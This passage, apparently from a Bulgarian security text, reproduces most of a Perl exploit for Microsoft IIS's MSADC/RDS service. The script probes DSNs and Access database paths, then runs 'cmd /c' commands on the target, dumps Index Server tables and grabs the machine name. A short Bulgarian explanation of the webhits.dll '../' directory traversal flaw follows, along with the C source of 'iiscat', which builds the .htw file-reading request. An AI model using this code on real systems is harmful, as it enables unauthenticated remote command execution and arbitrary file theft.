sub odbc_error { my (@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose { my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save { my ($p1)=@_; my $ropt=""; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; if (defined $args{c}){ $ropt="c ";} if (defined $args{V}){ $ropt.="V ";} if (defined $args{w}){ $ropt.="w ";} print OUT "v2\n$ip\n$ropt\n$p1\n"; close OUT;} ############################################################################## sub load { my ($action)=@_; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};"; open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @p=<IN>; close(IN); die("Wrong rds.save version") if $p[0] ne "v2\n"; $ip="$p[1]"; $ip=~s/\n//g; $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; @switches=split(/ /,$p[2]); foreach $switch (@switches) { $args{$switch}="1";} if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";} print "Type the command line you want to run ($comm assumed):\n" . "$comm "; $in=<STDIN>; chomp $in; $command="$comm " . $in ;

21

$torun="$p[3]"; $torun=~s/\n//g; if($torun=~/btcustmr/){ $args{'c'}="1";} # this is a kludge to make it work if($torun=~/^dbq/){ $torun=$drvst.$torun; } if(run_query("$torun")){ print "Success!\n";} else { print "failed\n"; } exit;} ############################################################################## sub create_table { return 1 if (!defined $args{c}); return 1 if (defined $args{V}); my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn { foreach $dSn (@dsns) { print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ if(run_query("DSN=$dSn")){ print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";} ############################################################################## sub is_access { my ($in)=@_; return 1 if (!defined $args{c}); return 1 if (defined $args{V}); $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query {

22

my ($in)=@_; my $req; if (defined $args{c}){$req=3;} else {$req=6;} $reqlen=length( make_req($req,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req($req,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb { my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; foreach $drive (@drives) { foreach $dir (@sysdirs){ foreach $mdb (@sysmdbs) { print "."; if(create_table($drv.$drive.":\\".$dir.$mdb)){ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit; }}}}} foreach $drive (@drives) { foreach $mdb (@mdbs) { print "."; if(create_table($drv.$drive.":".$mdb)){ if(run_query($drv.$drive.":".$mdb)){ print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit; }}}} } ############################################################################## sub hork_idx { print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;

23

$d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } } else {print "Index server not installed/query failed\n"; }} ############################################################################## sub dsn_dict { open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(<IN>){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ if(run_query("DSN=$dSn")){ print "Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n"; close(IN);} ############################################################################## sub content_start { # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++) { # assume there's less than 500 headers if($in[$c] =~/^\x0d\x0a/){ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } else { return $c+1; }}} return -1;} # it should never get here actually ############################################################################## sub funky { my (@in)=@_; my $error=odbc_error(@in); if($error=~/ADO could not find the specified provider/){ print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit;} if($error=~/A Handler is required/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;} if($error=~/specified Handler has denied Access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;} if($error=~/server has denied access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;}} ############################################################################## sub has_msadc { my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); my $base=content_start(@results); return if($results[$base]=~/Content-Type: application\/x-varg/); my @s=grep("Server: ",@results); if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" } else { print "/msadc/msadcs.dll was not found.\n";}

24

exit;} ############################################################################## sub use_unc { $uncpath=$args{u}; $driverline="driver={Microsoft Access Driver (*.mdb)};dbq="; if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){ print "Your UNC path sucks. You need the following format:\n". "\\server(ip preferable)\share\some-file.mdb\n\n"; exit; } if(create_table($driverline.$uncpath)){ if(run_query($driverline.$uncpath)){ print "Success!\n"; save ("dbq=".$uncpath); exit;}} } ############################################################################## sub get_name { # this was added last minute my $msadc=<<EOT POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1 User-Agent: ACTIVEDATA Host: $ip Content-Length: 126 Connection: Keep-Alive ADCClientVersion:01.06 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0 --!ADM!ROX!YOUR!WORLD!-- EOT ; $msadc=~s/\n/\r\n/g; my @results=sendraw($msadc); my $base=content_start(@results); $results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g; print "Machine name: $results[$base+6]\n";}

Комбинирани с IIS, Index Server индексните услуги включват възможността да се видят резултатите от web търсене в тяхния оригинален контекст. Той генерира html страница, показваща заявките с кратък откъс на придружаващ текст за всяка върната страница, заедно с линк към тази страница. За да направи това, той поддържа .htm файлов тип, който се управлява от webhits.dll ISAPI приложение. Тази dll позволява използването на ‘ ../ ’ directory traversal стринг при избора на шаблонен файл. Това позволява отдалечено, неаутентикирано разглеждане на всеки файл в системата, чието местоположение се знае от атакуващия.

#include <stdio.h> #include <string.h>

25

int main(int argc, char **argv) { char request[2048], *request_p, *file_read, *file_valid = "/default.htm"; int file_buf_size = 250; if (!((argc == 2 && argv[1] && strlen(argv[1]) < 1024) || (argc == 3 && argv[1] && argv[2] && strlen(argv[1]) <= file_buf_size && strlen(argv[2]) < 1024))) { fprintf(stderr, "usage: iiscat file_to_read [valid_file]\n"); exit(1); } file_read = argv[1]; if (argc == 3) file_valid = argv[2]; sprintf(request, "GET %s", file_valid); request_p = request + strlen(request); file_buf_size -= strlen(file_valid); while(file_buf_size) { strcpy(request_p, "%20"); request_p += 3; file_buf_size--; } sprintf(request_p, ".htw?CiWebHitsFile=%s&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n", file_read); puts(request); exit(0); }